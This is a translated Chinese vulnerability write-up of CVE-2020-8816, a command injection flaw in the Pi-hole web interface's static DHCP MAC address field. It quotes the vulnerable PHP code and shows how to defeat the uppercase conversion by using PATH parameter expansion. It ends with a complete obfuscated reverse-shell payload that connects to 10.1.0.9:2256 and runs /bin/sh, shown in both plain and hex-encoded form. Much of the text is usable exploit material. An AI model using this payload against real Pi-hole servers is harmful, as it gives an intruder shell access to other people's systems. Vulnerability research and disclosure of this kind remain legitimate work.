原文:CVE-2020-8816 – Pi-hole Remote Code Execution
作者:nateksec
Pi-hole中存在一个远程代码执行漏洞,经过Web门户验证的用户可以像本地用户一样在服务器中执行任意命令。
Pi-hole是一个用于内容过滤的DNS服务器,它同时提供DHCP服务,按照官方说明:
Pi-hole®是一个DNS沉洞,可在不安装任何客户端软件的情况下保护您的设备免受有害内容的侵害。
Pi-hole网页界面4.3.2及其之前版本。
Pi-hole提供了一个基于网页的用户界面,用来配置其内置的DHCP服务器。用户可以通过这个界面设置静态DHCP,将IP地址固定到给定的MAC地址上。
应用程序在处理用户输入的MAC地址时,并没有对地址进行验证,而是直接在shell命令中使用了用户的输入。
如果一个合法的MAC地址输入是以下结构:
aaaaaaaaaaaa
那么在该软件中,攻击者可以将其篡改为以下结构,以执行任意代码:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&
下面是引发漏洞的代码,为了清晰起见,其中省略了与漏洞利用无关的部分代码,并对重要代码行进行了标注:
<?php /* Pi-hole: A black hole for Internet advertisements * (c) 2017 Pi-hole, LLC (https://pi-hole.net) * Network-wide ad blocking via your own hardware. * * This file is copyright under the latest version of the EUPL. * Please see LICENSE file for your rights under this license. */ if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php") { die("Direct access to this script is forbidden!"); } //[...] function validMAC($mac_addr) { // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case) return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); // !!!漏洞代码!!! } //[...] // Read available adlists $adlist = readAdlists(); // Read available DNS server list $DNSserverslist = readDNSserversList(); $error = ""; $success = ""; if(isset($_POST["field"])) { // Handle CSRF check_csrf(isset($_POST["token"]) ? $_POST["token"] : ""); // Process request switch ($_POST["field"]) { //[...] case "DHCP": if(isset($_POST["addstatic"])) { $mac = $_POST["AddMAC"]; // !!!漏洞代码!!! $ip = $_POST["AddIP"]; $hostname = $_POST["AddHostname"]; if(!validMAC($mac)) // !!!漏洞代码!!! { $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>"; } $mac = strtoupper($mac); // !!!漏洞代码!!! if(!validIP($ip) && strlen($ip) > 0) { $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>"; } if(!validDomain($hostname) && strlen($hostname) > 0) { $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>"; } if(strlen($hostname) == 0 && strlen($ip) == 0) { $error .= "You can not omit both the IP address and the host name!<br>"; } if(strlen($hostname) == 0) $hostname = "nohost"; if(strlen($ip) == 0) $ip = "noip"; // Test if this lease is already included readStaticLeasesFile(); foreach($dhcp_static_leases as $lease) { if($lease["hwaddr"] === $mac) { $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>"; break; } if($ip !== "noip" && $lease["IP"] === $ip) { $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>"; break; } if($lease["host"] === $hostname) { $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>"; break; } } if(!strlen($error)) { exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); $success .= "A new static address has been added"; } break; } if(isset($_POST["removestatic"])) { $mac = $_POST["removestatic"]; if(!validMAC($mac)) { $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>"; } $mac = strtoupper($mac); if(!strlen($error)) { exec("sudo pihole -a removestaticdhcp ".$mac); $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed"; } break; } //[...] default: // Option not found $debug = true; break; } } //[...]
原始代码在此。
利用这个漏洞最大的困难在于,软件会使用strtoupper
函数将用户输入大写,因此最后的注入结果不能包含小写字母。
注入通常会像这样:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“10.1.0.9”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
"php -r
"在大写后,会变成"PHP -R
",因为Linux的命令是区分大小写的,所以该命令会失败,输出错误信息"sh:1:PHP: not found
"。
解决该问题的一个方法就是利用环境变量以及POSIX Shell参数扩展,注意这里使用的是"sh" shell。
如果在MAC地址后添加"$PATH
",那么是有可能获取到服务器上的"PATH"变量的。
十分幸运的是,PATH变量中包含了字符串"pihole"和"usr",也就是说包含了字符"p","h"和"r"的小写格式,这些字符就可以构造出我们需要的"php -r"了。
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
我们可以使用POSIX Shell参数扩展的方式,利用上面的PATH变量,定义三个shell参数$P,,$H和$R,分别对应它们的小写字母:
W=${PATH#/???/} P=${W%%?????:} X=${PATH#/???/??} H=${X%%???:} Z=${PATH#:/??} R=${Z%%/}
有了这些shell参数,我们的注入就可以写成:
$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’
注意,PHP函数和十六进制字符都不区分大小写,$IFS表示默认的shell分隔符,即空格。
最后,完整的反向shell payload为:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&
执行结果:
Pi-hole®以及Pi-hole的logo是Pi-hole LLC的注册商标。